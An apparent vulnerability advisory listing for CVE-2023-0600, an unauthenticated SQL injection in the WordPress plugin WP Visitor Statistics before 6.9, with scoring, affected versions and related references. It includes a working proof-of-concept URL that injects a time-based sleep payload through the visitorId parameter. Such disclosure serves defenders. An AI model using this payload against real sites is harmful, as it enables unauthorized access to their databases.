Lucene search
Trần Quốc Trường AnWPVDB-ID:8F46DF4D-CB80-4D66-846F-85FAF2EA0EC4HistoryApr 24, 2023 - 12:00 a.m.
WP Visitor Statistics (Real Time Traffic) < 6.9 - Unauthenticated SQLi
2023-04-2400:00:00
Trần Quốc Trường An
wpscan.com
10
wordpress
sql injection
unauthenticated access
security vulnerability
plugin
0.049 Low
EPSS
Percentile
92.8%
The plugin does not escape user input which is concatenated to an SQL query, allowing unauthenticated visitors to conduct SQL Injection attacks.
PoC
Note: The visitorId parameter’s numerical prefix (before the %27) must be different on each try. https://example.com/?wmcAction=wmcTrack&siteId;=34&url;=test&uid;=01&pid;=02&visitorId;=132123’,sleep(10),0,0,0,0,0);–±
| CPE | Name | Operator | Version |
|---|---|---|---|
| wp-stats-manager | lt | 6.9 |
Related
nvd
nvd
CVE-2023-0600
2023-05-15 13:15:09
cvelist
cvelist
wpexploit
wpexploit
WP Visitor Statistics (Real Time Traffic) < 6.9 - Unauthenticated SQLi
2023-04-24 00:00:00
cve
cve
CVE-2023-0600
2023-05-15 13:15:09
prion
prion
Sql injection
2023-05-15 13:15:00
nuclei
nuclei
WP Visitor Statistics (Real Time Traffic) < 6.9 - SQL Injection
2023-10-17 07:20:28
wordfence
wordfence